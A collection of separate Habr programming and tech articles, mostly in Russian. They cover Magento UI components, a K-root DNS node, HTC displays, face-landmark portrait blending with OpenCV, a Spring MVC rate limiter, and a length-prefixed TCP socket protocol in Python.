И мы хотим вывести коллекцию в грид, но при этом есть задача вместо трех колонок `first_name`, `middle_name` и `last_name` выводить одну колонку `name`, где данные из трех колонок будут объединены в одну строку. Как мы можем этого добиться?
Создаем класс для нашего компонента column (обратите внимание, что наш класс наследует базовый `Magento\Ui\Component\Listing\Columns\Column`):
```
php
namespace RSHB\WhiteRabbit\Ui\Component\Listing\Column\Rabbit;
use Magento\Ui\Component\Listing\Columns\Column;
/**
* Class Name
* @package RSHB\WhiteRabbit\Ui\Component\Listing\Column\Rabbit
*/
class Name extends Column
{
/**
* @param array $dataSource
* @return array
*/
public function prepareDataSource(array $dataSource)
{
if (isset($dataSource['data']['items'])) {
foreach ($dataSource['data']['items'] as & $item) {
$nameArray = [
$item['first_name'] ?: '',
$item['middle_name'] ?: '',
$item['last_name'] ?: ''
];
$name = implode(' ', array_filter($nameArray));
$item['name'] = $name;
}
}
return $dataSource;
}
}</code
```
И далее применяем его к нашей конфигурации:
```
text
true
Name
```
Мы получаем в гриде колонку name которая отсутствует в изначальном объекте, при этом колонка объединяет три описанных выше колонки в одну строку.
**Компоненты и шаблоны**
Аналогичным образом можно подменить js-компонент и шаблон вместо тех, что используются по умолчанию:
```
text
true
Name
RSHB\_WhiteRabbit/js/listing/column
ui/column/templates/name
```
### Выражения
Последней на сегодня темой я хотел бы выбрать выражения, которые встречаются в качестве значений некоторых параметров в `settings` секции. При первом знакомстве с выражениями у многих взрывается мозг в попытке понять, что это такое и как оно работает. Поскольку выражения чаще всего используются для работы с разного рода полями (`field`), наследниками базового компонента `form`, рассмотрим пример из конфигурации формы. Иногда можно встретить конструкции такого вида:
```
...
${ $.provider }:${ $.parentScope }.white
rabbit\_id
...
```
Обратим внимание на item с именем `target`. Здесь выражение всего лишь ссылается на выбранный элемент другого компонента с именем `white`. Когда это может быть полезным?
Например, когда необходимо сделать два зависимых списка, чтобы значения второго списка зависели от значения, выбранного в первом. Это можно реализовать путем фильтрации второго списка по атрибуту `rabbit_id` выбранного элемента первого списка. Вот как это будет выглядеть:
```
RSHB\WhiteRabbit\Model\Config\Source\White
White
text
select
rabbit
white
true
RSHB\WhiteRabbit\Model\Config\Source\Rabbit
text
Rabbit
multiselect
rabbit
rabbit
${ $.provider }:${ $.parentScope }.white
rabbit\_id
```
Теперь в `multiselect` “rabbit” будут отображаться только элементы, у которых атрибут `rabbit_id` будет соответствовать атрибуту `value` выбранного в `white` элемента.
Вы можете использовать выражения и в других случаях, когда нужно обратиться к динамическому значению другого компонента.
### Заключение
В рамках одной статьи невозможно рассмотреть абсолютно все аспекты конфигурации Ui-компонентов. Я не ставил себе задачу описать буквально все, однако хотел дать базовое понимание предмета и основу для дальнейшего самостоятельного изучения и экспериментов. Надеюсь, описанное выше поможет читателю разобраться в этой непростой области разработки под М2.
На этом все. Пишите код с удовольствием. До встречи! | https://habr.com/ru/post/561442/ | null | ru | null |
# Удалённый узел K-root в Селектеле
Увеличение числа пользователей Интернета в развивающихся странах влечёт за собой необходимость развития соответствующей инфраструктуры, в том числе и DNS-серверов.
За последнее несколько лет география корневых серверов DNS была существенно расширена. Ещё совсем недавно рабочие узлы корневых серверов были в основном сконцентрированы в Европе и США, то сегодня они появляются в странах Азии, Африки, Южной Америки. В этом году один из узлов сервера K-Root был установлен [даже в Иране](http://research.dyn.com/2015/09/iran-latest-nation-to-host-critical-global-internet-infrastruture/), с которого до сих пор не сняты до конца западные санкции.
Вопрос расширения корневой системы DNS актуален и для России. Определённый вклад в его решение удалось внести и нам: в августе этого года у нас был размещён один из узлов корневого DNS-сервера K-Root. В этой статье мы расскажем о его архитектуре и об участии в конкурса на его размещение.
#### Корневые DNS-серверы: краткая справка
Как известно, система DNS используется в Интернете для обеспечения связи между доменными именами и IP-адресами. Высший уровень иерархии DNS занимают корневые серверы. Они содержат информацию обо всех доменах верхнего уровня (TLD). Эта информация указывает, на какие авторитетные NS-серверы нужно отправлять последующий запрос для рекурсивного разрешения доменного имени.
Система DNS была создана в 1980-х годах. С этого времени и вплоть до 2000-го года система корневых DNS-серверов состояла из первичного сервера (сначала он назывался ns.internic.net, но потом был переименован в a.root-servers.net) и его реплик, впоследствии получившим имена по буквам латинского алфавита: b.root-servers.net, c.root-servers.net и так далее — до m.root-servers.net. Каждый из тринадцати корневых серверов управляется отдельным оператором.
Начиная с начала 2000-х годов в системе корневых серверов используется технология Anycast. Это способствовало существенному расширению её географии и повышению уровня надёжности. Вокруг каждого корневого сервера выстроена система обслуживающих узлов, расположенных по всему миру.
Операторoм системы серверов K-root является некоммерческая организация [RIPE NCC](https://www.ripe.net/). Рассмотрим подробнее, как устроена система K-root с архитектурной точки зрения.
#### Архитектура системы K-root
Весной этого года система K-root перешла на новую, модернизированную архитектуру. Чтобы лучше понять суть всех последних изменений, рассмотрим вкратце, как всё было устроено раньше.
В старой архитектуре все узлы системы K-root подразделялись на два типа: основные (core nodes) — мощные DNS-серверы с отдельной системой маршрутизаторов и коммутаторов и локальные (local nodes). В состав каждого локального узла входили следующие элементы:
* роутер, который анонсировал сети k.root участникам точки обмена трафиком;
* два NS-сервера для обработки запросов;
* коммутатор.
Графически эту схему можно представить так:
В новой архитектуре понятие “локальный узел” отсутствует вообще. Вместо него используется понятие “удалённый узел” (hosted node).
Удалённые узлы организованы на базе серверов Dell. Никакого сетевого оборудования в составе удалённых узлов нет.
Серверы, на которых установлено специализированное ПО, сами устанавливают BGP-сессию с маршрутизаторами предоставляющего хостинг оператора и анонсируют префиксы K.Root от имени AS25152. Благодаря технологии [Anycast](https://ru.wikipedia.org/wiki/Anycast) различие между основным и удалёнными узлами, по сути, нивелируется.
Для управления конфигурациями используется [Ansible](https://github.com/ansible/ansible) ([презентация инженера RIPE NCC](https://twitter.com/aabdnn/status/653957132598034432)), что позволяет ускорить и автоматизировать процессы развёртывания ПО. В качестве рабочего ПО используются [BIND](https://ru.wikipedia.org/wiki/BIND), [NSD](https://ru.wikipedia.org/wiki/NSD) и [Knot](https://en.wikipedia.org/wiki/Knot_DNS).
Узнать, какой именно сервер установлен на ближайшем к вам узле k.root, можно с помощью утилиты dig:
```
$ dig @k.root-servers.net version.bind chaos txt +short
"Knot DNS 1.6.4"
$ dig @k.root-servers.net version.bind chaos txt +short
"NSD 4.1.3"
```
Для анонсирования префиксов используется [exabgp](https://github.com/Exa-Networks/exabgp).
#### Технические требования к локальным узлам
К серверам, выступающим в качестве локальных узлов K-root, RIPE NCC предъявляет следующие требования:
* модель семейства Dell Power Edge 2xx (предпочтительнее — R320 или R420);
* минимум 16 ГБ оперативной памяти;
* многоядерный процессор;
* минимум 2 Ethernet-порта c суммарной пропускной способностью 2 ГБ/c;
* RAID-контроллер PERC H310
* два SATA-диска ёмкостью 500 ГБ каждый;
* наличие интегрированного контроллера удалённого доступа iDRAC 7 Enterprise;
* наличие у сервера двух блоков питания;
* выделение IP-адресов (как IPv4, так и IPv6).
Потенциальный хостер должен предоставить в распоряжение RIPE NCC сервер, обладающий описанными выше характеристиками. В нашем случае мы установили дополнительный блок питания для подключения сервера к разным вводам электропитания.
#### Хостинг К-root: как это получилось у нас
Система корневых серверов DNS постоянно расширяется. Организации, контролирующие корневые серверы, периодически объявляют конкурс на размещение новых обслуживающих узлов. Принять участие может любой оператор связи, техническая инфраструктура которого соответствует предъявляемым оператором требованиям.
О планах по расширению системы K-root мы узнали в апреле 2015 года. Среди кандидатов на расположение новых узлов системы K-root проводился конкурс, в ходе которого оценивались технические и организационные возможности потенциальных хостеров. Немаловажным критерием отбора на этом конкурсе является наличие хорошей связности. Только хорошая связность может быть гарантией того, что новый сервер сможет обслуживать большое количество клиентов.
Мы оформили все необходимые документы, и вскоре наша кандидатура была одобрена.
После этого мы заказали сервер, соответствующий предъявляемым RIPE NCC требованиям, и к августу ону же был установлен в одном из наших дата-центров.
Размещение узла K-root — проект абсолютно некоммерческий. Перед установкой сервера мы подписали с RIPE NCC протокол о взаимопонимании (образец на английском языке можно посмотреть [здесь](http://k.root-servers.org/MoU-example.pdf)), в котором прямо указывается, что обе стороны выражают заинтересованность в улучшении связности системы DNS — и при этом ни слова о денежно-коммерческой составляющей.
Договор о хостинге узла K-root имеет бессрочный характер. И мы, и RIPE NCC заинтересованы в развитии партнёрских отношений.
#### Что это нам даёт
Какие преимущества даёт участие в этом некоммерческом проекте нам?
Единственным очевидным преимуществом является пресловутый плюс в карму: мы внесли пусть небольшой, но всё-таки вклад в развитие системы DNS и в повышение уровня её отказоустойчивости.
Надеемся, что в будущем нам удастся принять участие и в других масштабных проектах по развитию Интернета. | https://habr.com/ru/post/268675/ | null | ru | null |
# HTC выпустит версии коммуникаторов HTC Desire и Google Nexus One с Super LCD дисплеями
Доброго времени суток.
26 июня HTC официально объявили, что выпустят обновленные версии уже известных коммуникаторов — **HTC Desire** и **Google Nexus One** с Super LCD дисплеями. Предположительно это произойдет в конце лета 2010 года. Этот шаг должен привести к увеличению срока работы коммуникаторов от одной зарядки аккумулятора, ведь как говорят в самом HTC — «Дисплей созданный по технологии Super LCD практически идентичен по параметрам с дисплеями на технологии AMOLED, только тратит меньше электроэнергии». HTC ничего не сказали по-поводу появления технологии Super LCD дисплея для коммуникатора HTC Droid Incredible.
Под катом немного размышлений и оригинальный текст презентации.
Размышлять здесь есть над чем, ведь буквально недавно все заявляли, что с [окончанием продаж Google Nexus One](http://slimper.habrahabr.ru/blog/99340/) через официальную Интернет-площадку Google — про него все забудут. Выходит, что забывать не собираются, более того есть шанс, что передав его под контроль HTC он будет официально продаваться во всех странах, в которых осуществляются продажи HTC коммуникаторов.
Оригинальный текст презентации:
`HTC INTRODUCES SLCD DISPLAY TECHNOLOGY TO ITS PORTFOLIO
New Displays to be integrated into HTC Desire and Nexus One
Taoyuan, TAIWAN – July 26, 2010 – HTC Corporation, a global designer of smartphones, today introduced Super LCD display (SLCD) technology into a variety of HTC phones including the HTC Desire and global Nexus One later this summer. The SLCD display offers an exceptional natural balanced colour, clear contrast, broad viewing angles and improved power efficiency.
“HTC is experiencing high-demand for many of our phones, specifically our phones with 3.7 inch displays. The new SLCD display technology enables us to ramp up our production capabilities quickly to meet the high-demand,” said Peter Chou, CEO of HTC Corporation. “The SLCD displays provide consumers with a comparable visual experience to HTC’s current 3.7 inch displays with some additional benefits including battery performance.”
SLCD is the latest generation of LCD technology that offers improved performance from earlier LCD panels including approximately five times better power management. SLCDs also offer an enhanced viewing experience with wider viewing angles that are enabled by Sony’s new VSPEC III™ technology.
About HTC
HTC Corporation (HTC) is one of the fastest growing companies in the mobile phone industry. By putting people at the center of everything it does, HTC creates innovative smartphones that better serve the lives and needs of individuals. The company is listed on the Taiwan Stock Exchange under ticker 2498. For more information about HTC, please visit www.htc.com.` | https://habr.com/ru/post/100191/ | null | ru | null |
# PeopleBlending: создаём Science Art с помощью когнитивных сервисов и небольшого количества креативности
Я верю в то, что не только красота спасёт мир, но ещё и *междисциплинарность*. Поскольку моя дочь любит искусство, а я люблю программировать — я часто присматриваюсь к пересечению этих областей, которое можно назвать **генеративным искусством** (generative art), и которое является частью **Science Art**. В этой статье я хочу поделиться результатами одного креативного эксперимента по рисованию портрета, из которого родилась техника **[Cognitive People Blending](http://bit.do/peopleblending)**:
| | |
| --- | --- |
| | |
| *Glass Girl*, 2019 | *Vickie Rotator*, 2019 |
Эти портреты создавались из нескольких фотографий, наложенных друг на друга таким образом, чтобы глаза совпадали — при этом основные черты лица подчеркиваются, фон размывается, и получается любопытный смешанный портрет. Такое безусловно можно сделать в PhotoShop, но это мучительно, и не оставляет места для быстрых экспериментов с разными фотографиями. Ниже я покажу, как такие портреты можно создавать автоматически с помощью [когнитивных сервисов Microsoft](http://aka.ms/cognitive_serv) и небольшого количества креативности. Вы сможете найти весь рассматриваемый мною код [в этом репозитории](http://github.com/CloudAdvocacy/CreepyFaces), и сразу начать использовать его с помощью [Azure Notebooks](http://bit.do/whyaznb). Если вдруг Вы создадите шедевры в этом жанре — пожалуйста, ссылайтесь на **[Cognitive People Blending](http://bit.do/peopleblending)**.
Основная идея
-------------
Для начала, нам понадобится набор портретных фотографий — это могут быть фотографии одного человека, или разных людей, которых мы хотим смешать вместе. Чем больше у Вас будет фотографий, тем интереснее, но меньше 10 фотографий точно брать не стоит.
Для нахождения координат глаз на фотографии мы будем использовать [Face API](https://azure.microsoft.com/services/cognitive-services/face/?WT.mc_id=habr-blog-dmitryso), который умеет извлекать так называемые *опорные точки лица*. Затем мы применим *аффинное преобразование*, реализованное в библиотеке OpenCV, чтобы совместить глаза на всех фотографиях. Наконец, мы смешаем все изображения вместе, чтобы получить результат.
Извлекаем опорные точки лица
----------------------------
Для начала научимся определять по фотографии координаты опорных точек лица. [Microsoft Face API](https://azure.microsoft.com/services/cognitive-services/face/?WT.mc_id=habr-blog-dmitryso) предоставляет простое REST API для анализа лиц, которое помимо опорных точек может извлечь ещё уйму полезной информации — пол, возраст, углы поворота головы, эмоции, наличие бороды и т.д.
Сравнительно несложно вызвать Face API напрямую по протоколу REST, но ещё лучше — использовать специальный SDK для Python, входящий в состав [Azure SDK library](https://docs.microsoft.com/ru-ru/azure/cognitive-services/face/quickstarts/python-sdk/?WT.mc_id=habr-blog-dmitryso). Более детальная информация по вызову Face API из других языков содержится [на Microsoft Docs](https://docs.microsoft.com/ru-ru/azure/cognitive-services/face/index/?wt.mc_id=habr-blog-dmitryso).
Для установки SDK (а заодно и OpenCV, который нам тоже понадобится), введём следующую команду в консоли операционной системы:
```
pip install azure-cognitiveservices-vision-face opencv-python
```
Если Вы используете Azure Notebook, то используйте префикс `!` и вводите код в обычной ячейке — пример можно посмотреть [тут](https://github.com/CloudAdvocacy/CreepyFaces/blob/master/CreepyFaces-Tutorial.ipynb).
Для использования Face API нам необходим **ключ** и **endpoint URL**, которые можно получить несколькими способами:
* Если у Вас уже есть подписка Azure, необходимо [создать службу когнитивных сервисов](https://docs.microsoft.com/azure/cognitive-services/cognitive-services-apis-create-account/?WT.mc_id=habr-blog-dmitryso), и получить ключ и URL оттуда
* Вы всегда можете [создать бесплатную пробную подписку](https://azure.microsoft.com/free/?WT.mc_id=habr-blog-dmitryso) (для этого понадобится кредитная карта, но зато вы сможете пользоваться некоторыми бесплатными ресурсами, включая когнитивные сервисы, целый год)
* Если Вы хотите просто немного поэкспериментировать — [запросите пробный ключ](https://azure.microsoft.com/try/cognitive-services/my-apis/?api=face-api&WT.mc_id=habr-blog-dmitryso), который будет действовать 7 дней.
**Важно:** Если Вы используете пробный ключ, у Вас будет ограниченный доступ к Face API по количеству изображений, которые Вы сможете обработать, и по числу запросов в минуту (не более 20 шт.). Если при этом Вы захотите в этом примере обрабатывать более 20 фотографий — Вам нужно будет вставить задержку между вызовами, чтобы не превысить это ограничение.
Полученные ключ и URL запомним в переменных `key` и `endpoint`:
```
key = '--INSERT YOUR KEY HERE--'
endpoint = 'https://westus2.api.cognitive.microsoft.com'
```
Основные запросы к Face API делаются через статический модуль `cognitive_face`, который мы для краткости будем называть `cf`:
```
import azure.cognitiveservices.vision.face as cf
from msrest.authentication import CognitiveServicesCredentials
cli = cf.FaceClient(endpoint,CognitiveServicesCredentials(key))
```
Основные функции для анализа лиц — это `face.detect_with_url` и `face.detect_with_stream`. В зависимости от указанных параметров, они могут извлекать много полезной информации — в нашем случае нам нужны лишь опорные точки (facial landmarks):
```
im_url='https://2016.dotnext-piter.ru/assets/images/people/soshnikov.jpg'
res = cli.face.detect_with_url(im_url,return_face_landmarks=True)
print(res[0])
```
В результате мы получим массив `res`, каждый элемент которого соответствует найденному на фотографии лицу. Мы будем предполагать, что имеем дело с портретами, на которых есть ровно одно лицо, поэтому `res[0]` даст нам соответствующую информацию:
```
{'face_rectangle': , 'additional\_properties': {}, 'face\_attributes': None, 'face\_id': '59dc97ef-b5e2-4c83-99c0-75cdb69048fa', 'face\_landmarks': , 'recognition\_model': None}
```
Поскольку в Python удобнее оперировать со словарями, мы можем получить все атрибуты проанализированного лица с помощью `res[0].facial_landmarks.as_dict()`:
```
{'nose_left_alar_top': {'y': 147.4, 'x': 131.9}, 'eyebrow_right_inner': {'y': 106.3, 'x': 157.2}, 'pupil_right': {'y': 118.9, 'x': 170.9}, 'eye_right_outer': {'y': 118.5, 'x': 181.5}, 'pupil_left': {'y': 126.7, 'x': 112.6}, 'eyebrow_right_outer': {'y': 106.6, 'x': 192.1}, 'eye_right_top': {'y': 115.0, 'x': 171.3}, 'nose_tip': {'y': 158.4, 'x': 148.7}, 'upper_lip_top': {'y': 173.6, 'x': 150.3}, 'eyebrow_left_outer': {'y': 120.3, 'x': 84.1}, 'nose_right_alar_top': {'y': 143.8, 'x': 158.4}, 'nose_root_right': {'y': 124.3, 'x': 151.5}, 'nose_root_left': {'y': 126.3, 'x': 135.4}, 'eye_left_inner': {'y': 126.7, 'x': 122.4}, 'eyebrow_left_inner': {'y': 110.1, 'x': 122.9}, 'nose_left_alar_out_tip': {'y': 159.3, 'x': 128.2}, 'eye_left_outer': {'y': 128.9, 'x': 103.3}, 'eye_left_bottom': {'y': 131.4, 'x': 113.7}, 'eye_left_top': {'y': 122.8, 'x': 112.3}, 'eye_right_bottom': {'y': 123.5, 'x': 172.7}, 'under_lip_bottom': {'y': 193.0, 'x': 154.5}, 'under_lip_top': {'y': 186.2, 'x': 152.7}, 'upper_lip_bottom': {'y': 176.9, 'x': 151.7}, 'nose_right_alar_out_tip': {'y': 153.0, 'x': 167.0}, 'mouth_left': {'y': 182.6, 'x': 121.6}, 'mouth_right': {'y': 172.1, 'x': 177.8}, 'eye_right_inner': {'y': 120.8, 'x': 162.7}}
```
Загружаем изображения
---------------------
К этому времени нам потребуется набор картинок. Я рекомендую для начала взять 15-20 своих портретных фотографий неплохого качества. Однако если Вам совсем лень искать фотографии, Вы можете взять готовые изображения Билла Гейтса, полученные с помощью [Bing Image Search](https://docs.microsoft.com/azure/cognitive-services/bing-image-search/index/?WT.mc_id=habr-blog-dmitryso). Поместим их в директорию `images`:
```
mkdir images
wget https://github.com/shwars/NeuroWorkshopData/raw/master/Data/Gates50.zip
unzip -q Gates50.zip -d images
rm Gates50.zip
```
Если Вы используете Azure Notebook и хотите взять свои фотографии — создайте в Вашем проекте директорию `images` и [загрузите туда фотографии вручную](https://docs.microsoft.com/azure/notebooks/work-with-project-data-files/?WT.mc_id=habr-blog-dmitryso) из начальной странички проекта.
Начинаем веселье! Загрузим все изображения, а также вызовем Face API для получения всех опорных точек:
```
import glob
filenames = []
images = []
imagepoints = []
for fn in glob.glob("images/*"):
print("Processing {}".format(fn))
with open(fn,'rb') as f:
res = cli.face.detect_with_stream(f,return_face_landmarks=True)
if len(res)>0:
filenames.append(fn)
images.append(cv2.cvtColor(cv2.imread(fn),cv2.COLOR_BGR2RGB))
imagepoints.append(res[0].face_landmarks.as_dict())
```
Для наглядности, нанесём опорные точки поверх изображения какой-нибудь случайной картинки:
```
def decorate(i):
img = images[i].copy()
for k,v in imagepoints[i].items():
cv2.circle(img,(int(v['x']),int(v['y'])),7,(255,255,0),5)
return img
display_images([decorate(i) for i in range(1,5)])
```
Здесь я использую функцию `display_images` для того, чтобы показать на экране список из картинок. Эта функция нам потребуется и дальше. Я для краткости не буду приводить здесь код, а отошлю Вас [к репозиторию](http://github.com/CloudAdvocacy/CreepyFaces).
Аффинные преобразования
-----------------------
После получения опорных точек для всех фотографий, нам нужно выровнять их таким образом, чтобы все глаза на всех фотографиях находились в одних и тех же координатах. Для этого придётся масштабировать, поворачивать и растягивать изображения — иными словами, применять к ним [**аффинные преобразования**](https://ru.wikipedia.org/wiki/Affine_transformation). Известно, что аффинное преобразование целиком определяется *тремя точками*, точнее, происходящими с ними изменениями.
В нашем случае у нас есть координаты двух глаз, которые мы хотим переместить в точки с координатами (130,120) и (170,120) — эти координаты подобраны на глаз, если мы хотим получить целевое изображение размером 300x300 пикселей. Но для полноценного описания преобразования нам нужна ещё одна точка!
В качестве такой точки можно взять, например, середину рта — поскольку она в некотором роде находится напротив глаз, и образованный этими точками треугольник более менее полностью покрывает лицо. У нас нет готовых координат середины рта, но мы можем их посчитать, взяв среднюю точку между `mouth_left` и `mouth_right`.
Аффинное преобразование определяется матрицей. Функция `getAffineTransform` в OpenCV вычисляет эту матрицу по координатам трех точек до и после трансформации. Затем мы используем `warpAffine` для применения преобразования к изображению — эта функция также обрезает картинку до указанных размеров.
```
target_triangle = np.float32([[130.0,120.0],[170.0,120.0],[150.0,160.0]])
size = 300
def affine_transform(img,attrs):
mc_x = (attrs['mouth_left']['x']+attrs['mouth_right']['x'])/2.0
mc_y = (attrs['mouth_left']['y']+attrs['mouth_right']['y'])/2.0
tr = cv2.getAffineTransform(np.float32(
[(attrs['pupil_left']['x'],attrs['pupil_left']['y']),
(attrs['pupil_right']['x'],attrs['pupil_right']['y']),
(mc_x,mc_y)]), target_triangle)
return cv2.warpAffine(img,tr,(size,size))
```
Определив эту функцию, мы можем преобразовать все наши картинки:
```
img_aligned = [affine_transform(i,a) for i,a in zip(images,imagepoints)]
display_images(img_aligned[:5])
```
Вуаля!
------
Для получения финальной картинки нам осталось смешать все изображения вместе. Это делается простым усреднением всех `numpy`-массивов:
```
imgs=np.array(img_aligned,dtype=np.float32)/255.
plt.imshow(np.average(imgs,axis=0))
```
Здесь мы тем не менее применяем одну хитрость — приводим тип элементов массива к `float32`, чтобы потом их правильно усреднить. В противном случае могут возникнуть сложности с делением :)
А теперь — пробуем сами!
------------------------
Теперь у вас есть всё необходимое, чтобы начать создавать свои замечательные портреты! Полный код с примером есть [в репозитории на GitHub](http://github.com/CloudAdvocacy/CreepyFaces), при этом даже не обязательно устанавливать Python, поскольку можно использовать [Azure Notebooks](http://bit.do/whyaznb) прямо из браузера. Поэтому нет никаких оправданий, чтобы не попробовать самому!
Чтобы дать вам ещё одну причину попробовать (кроме *любопытства* и *креативности*), я от себя лично подарю [свою книжку по F#](http://bit.do/fsharpbook) за лучшее произведение в жанре PeopleBlending (самовывозом, или почтой России)! Оставляйте ссылки на работы (а лучше на посты в социальных сетях) в комментариях, или [присылайте мне](http://t.me/shwars) **до 1 января**. Оставляю за собой право опубликовать лучшие работы в блоге.
Кстати, не обязательно ограничивать себя наложением фотографий! Подумайте, какие креативные сценарии использования опорных точек лица вы сможете придумать, и воплощайте идеи в реальность!
Всем творческих успехов! | https://habr.com/ru/post/478356/ | null | ru | null |
# A tiny Rate Limiter Library for Spring MVC
In microservice world the problem of high load is exteremely big especially when we have a REST API which is accessed quite extensively. Why do we need throttling? The main answer is to decrease the load of the service at the moment.
Different frameworks have different solutions, mostly some additional libraries. Also there is a [Guava RateLimiter](https://guava.dev/releases/19.0/api/docs/index.html?com/google/common/util/concurrent/RateLimiter.html) and [Bucket4J](https://github.com/vladimir-bukhtoyarov/bucket4j) . What is interesting Spring MVC being one of the most popular solutions for building REST APIs (thank you Spring Boot) doesn't have any built in rate limiter. As for external solutions there not that many ways around.
Today, I would like to present a tiny experimental library specific for Spring MVC. It is called [SpringRateLimitter](https://github.com/abondar24/SpringRateLimitter). The library is very tiny ,works in runtime. The idea is to annotate entire rest controller or specific method , than count the number of incoming requests for the annotated URI and based on the values check if we exceed the allowed number of calls. In case of exceeding an HTTP error code 429 is thrown and after the throttling period is over , the endpoint is available again.
So How does it look like. As first step Maven dependency must be added
```
io.github.abondar24
SpringRateLimitter
0.0.2-SNAPSHOT
```
As second step package with the controllers must be specified applicaiton.yaml or application.properties
```
controller:
package: org.abondar.industrial.widgetstack.controller
```
As first example let's see how annotation works on controller level.
```
@RestController
@RequestMapping("/widget")
@RateLimit
public class WidgetController {
```
In such scenario all the calls of under /widget are throttled. We haven't specified any value for the number of requests or the period of throttling ,so the default values of 1000 requests and 1 millisecond will be used.
As second example let's annotate a specific method.
```
@GetMapping(path = "/many",produces ="application/json")
@RateLimit(requests = 3, period = 5000)
public ResponseEntity>
```
As you can see you can see specific number of requests and throttling period were set,so they will be used. If controller has its own values, method ones will ignore it. Negative values are not possible and in case of setting them ,compilation will fail.
Instead of conclusion
---------------------
As you can see the library is tiny and easy to use. This is an experimental version of it, multiple features are missing, so fill free to suggest improvements or new ideas either here or on my [Github](https://github.com/abondar24). The repository of the library is <https://github.com/abondar24/SpringRateLimitter>
Any feedback will be extremely useful. | https://habr.com/ru/post/547062/ | null | en | null |
# Удалённое исполнение системных команд по запросу через сокеты на Python 3. Часть 2. Протокол передачи данных
В [предыдущей статье](http://habrahabr.ru/post/268993/) я рассказал как создать сервер и клиент на Python 3, используя встроенные сокеты. Но у этого приложения было много недостатков, которые я попытаюсь исправить в этой и последующих статьях.
Так какими же недостатками обладает наше приложение?
* Отсылается один единственный пакет, длина которого не может превышать заранее заданной границы в 1 Кбайт.
* Приложение без проверки передаёт аргумент, принятый из сети, в оболочку (URL).
* Недостаток функциональности. Мы не можем, например, скачать все изображения с Хабра, или скачать отдельный хаб.
Сегодня я расскажу как решить первую проблему, а заодно и немного о TCP.
##### Описание протокола
Мы использовали «голый» протокол TCP для передачи данных между сервером и клиентом. TCP — это потоковый протокол, он передаёт данные последовательным набором байт. Передавая команду с аргументами по сети в первой версии нашего приложения мы читали только 1024 байт данных из принятого пакета. Но что делать, если данные не помещаются в 1024 байт? Выход только один — разбить данные на несколько пакетов на одном хосте и «склеить» их в один кусок при получении на другом хосте. Но как узнать когда заканчивается одна команда (с её аргументами) и начинается другая? Для этого нам нужно нужно знать, какова длина всего передаваемого сообщения.
Так как заранее узнать длину сообщения у нас не получиться, придётся передавать её в одном из пакетов. Разумеется, делать это лучше в самом начале первого пакета. Выделив под хранение длины сообщения всего 4 байта, мы сможем передать сообщение длиной свыше 4 млрд символов! Длина сообщения — это информация о нём, то есть, часть заголовка, заголовка нашего протокола. Какого протокола спросите вы? Если верить Википедии, то
> Протокол передачи данных — набор соглашений интерфейса логического уровня, которые определяют обмен данными между различными программами.
Мы договорились, что будем передавать данные в нескольких пакетах по TCP, а в начале данных первого пакета будет храниться длина всего сообщения в байтах. Таким образом мы разработали наш простой протокол! Нужно помнить, что наш протокол основан на TCP, а значит, обладает теми же особенностями, что и последний.
##### Разработка протокола
Мы описали наш протокол, настало время его разработать!
Метод **sendall** сокета в Питоне самостоятельно разбивает данные на пакеты и отправляет их на сервер. Здесь можно не париться. Для передачи длины переведём её в **C struct** типа **unsigned int** (4 байта) используя встроенную библиотеку **struct**.
```
import struct
# Функция отправки данных
def send(connection, data):
# Трансформируем строку в массив байт
data = bytes(data, "utf8")
# Отправляем C struct типа unsigned int размером 4 байта, хранящие длину сообщения. Данные содержат 4 байта, хранящие длину сообщения, плюс само сообщение.
connection.sendall(struct.pack('>I', len(data)) + data)
```
Параметр *'>I'*, переданный функции **struct.pack** просит перевести второй параметр в тип **unsigned int** (*I*) в обратном порядке байт (*>*). Рассмотрим это чуть позже.
```
# Вспомогательная функция
def recv_packets(connection, n):
piece = b''
# Пока не получим кусок данных необходимой длины **n**
while len(piece) < n:
# Читаем участок длиной не более, чем нам недостаёт до длины **n**
packet = connection.recv(n - len(piece))
# Если пакет получить не удалось, то ничего не возвращаем
if not packet:
return None
piece += packet
return piece
# Функция чтения принятых данных
def recv(connection):
# Читаем участок, содержащий длину пакета
length_data = recv_packets(connection, 4)
# Если получить не удалось, то ничего не возвращаем
if not length_data:
return None
# Переводим в питоновский тип
data_len = struct.unpack('>I', length_data)[0]
# Декодируем, используя кодировку UTF-8. Можно использовать аргументы "utf8", "utf-8", "UTF8", "UTF-8", это одно и то же.
return recv_packets(connection, data_len).decode("utf8")
```
В функции **recv\_packets** мы читаем уже полученные данные до тех пор, пока не получим часть сообщения необходимой нам длины. Если метод **recv** сокета ничего не вернёт, значит мы не смогли получить сообщение полностью. В этом случае тоже нечего не возвращаем, а тогда ничего не вернёт и функция **recv** нашего протокола.
##### Использование протокола
Теперь мы можем воспользоваться нашим протоколом, написанным поверх другого протокола — TCP. Заодно, я буду рассказывать о том, что происходит в этот момент под капотом.
Для начала зайдите в каталог с только что созданным файлом **protocol.py** и запустите интерпретатор Python 3 (обычно это команда **python3**) в двух терминалах, интерпретаторах командных строк, или среде разработки. В обоих поочерёдно введите следующие команды.
```
>>> import socket, protocol
>>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```
Первая строка импортирует библиотеку сокетов и наш мини-протокол, вторая — создаёт сокет с протоколом TCP/IPv4. AF\_INET — пара (домен/IPv4, порт), SOCK\_STREAM — потоковый тип подключения, на котором основан TCP протокол.
Следующие две строки вводятся в первый терминал.
```
>>> sock.bind(("localhost", 65043))
>>> sock.listen(True)
```
В этот момент операционная система система занимает для нашего приложения адрес *localhost:65043* и наше приложение начинает его слушать. Если вы ещё не поняли, сокет — это программный интерфейс, который создаётся операционной системой.
Присоединяемся к серверу через второй терминал.
```
>>> sock.connect(("localhost", 65043))
```
В этот момент происходит следующее. Клиент отправляем небольшой пакет. Первый пакет у меня имеет длину 74 байта. *(длина не всегда такая, я привожу её, чтобы было примерно понятно, что же отправляется в момент установления соединения.)* Их можно разложить так: 8 байт — два Ethernet адреса, 20 байт — IP-заголовок, и 46 байт — TCP-заголовок. В пакете есть два бита из TCP-заголовка — **syn** и **ack**. В первом пакете *syn = 1, ack = 0*. После этого сервер отправляет нам пакет такой же длины (74 байта), подтверждая получение и разрешая подключиться, при этом *syn = 1, ack = 1*. Затем клиент отправляет уже третий пакет, но длиной не 74, а 66 байт. В третьем пакете *syn = 0, ack = 1*. Этот пакет окончательно устанавливает соединение и теперь мы можем принимать и получать пакеты. Так выглядит благополучное соединение. Если вам хочется более подробно изучить TCP и другие возможные случаи, можете прочитать об этом, например, в книге Танентбаума «Компьютерные сети».
```
>>> conn, addr = sock.accept()
```
Читаем информацию о клиенте. В этот момент никаких пакетов не передаётся, мы просто берём уже записанные данные.
